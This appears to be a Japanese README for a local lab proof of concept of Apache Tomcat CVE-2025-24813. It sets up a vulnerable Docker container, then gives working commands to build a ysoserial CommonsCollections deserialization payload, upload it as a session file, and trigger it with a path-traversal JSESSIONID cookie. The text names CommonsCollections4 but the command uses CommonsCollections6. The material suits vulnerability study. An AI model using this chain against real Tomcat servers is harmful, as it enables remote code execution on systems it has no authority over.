
Apache Tomcat CVE-2025-24813の概念実証。安全でないDefaultServlet PUTとセッションのデシリアライゼーションを悪用してリモートコード実行を達成します。
このリポジトリには、Apache Tomcat における DefaultServlet の書き込みが有効 (readonly=false) な状態で、HTTP PUT (partial PUT / Content-Range 対応) を介した安全でない書き込み操作を許可し、セッションファイルを含む機密ファイルの上書きが可能となる脆弱性 CVE-2025-24813 の動作を観察するために構築されたシンプルなアプリケーションが含まれています。悪意のある逆シリアル化が発生した場合は RCE のシナリオが可能になります。
アプリケーションは以下を使用します:
| コンポーネント | 機能 |
|---|
| Tomcat 9 + JDK 11 | 脆弱性のあるサーバ(ターゲット) |
context.xml | PersistentManager + FileStore を有効化し、セッションをディスクに保存 |
upload.jsp | データを受け取りディスクに書き込むシンプルなエンドポイント |
/tmp/app-data/ | アップロードファイルの保存先ディレクトリ |
最初の考えは、CVE の研究用に設定された環境で Tomcat がファイルをどのように扱うかを観察することです。最初は良性のリクエスト(ファイルを制御された方法で書き込むだけ、悪用の試みなし)で始め、その後すぐに悪意のあるファイルを送信します。
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
別のターミナルで以下のコマンドを実行してください。
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
通常の動作を観察するため、シンプルなファイルを送信します。
文字列を送信するアップロード
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
すべて正しく動作していれば、strace を実行しているターミナルには何も表示されません。
注: strace に SIGSEGV エラーが表示されても無視してください。JVM のノイズです。
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
ここでは CommonsCollections4 チェーンを使用して、脆弱なシナリオで touch /tmp/RCE コマンドを実行できる可能性のあるオブジェクトを生成します。ペイロードは hack.session として保存されます。
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
前のコマンドでエラーが発生した場合は、最新の Java (9+) との互換性を確保するために、--add-opens フラグを追加して JPMS の強力なカプセル化を無効にする必要があります。そうしないと、ysoserial が使用するリフレクションがブロックされます。
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
このコマンドの後、ローカルにバイナリファイルが作成されます:
hack.session
.session ファイルを JSP エンドポイントに送信します。エンドポイントはコンテンツを直接 /tmp/app-data ディレクトリに書き込みます。
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
期待される出力:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 この時点ではコマンドは実行されません — サーバにファイルが書き込まれただけです。
次に、JSESSIONID=hack クッキーを送信してリクエストを行い、Tomcat に新しく作成されたセッションを強制的に読み込ませます。
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
strace のターミナルでファイルを作成する execve コマンドが表示されているはずです。
ファイルが作成されたかどうかを確認するには、コンテナに入って確認することもできます。
docker exec -it toy-cve ls -l /tmp/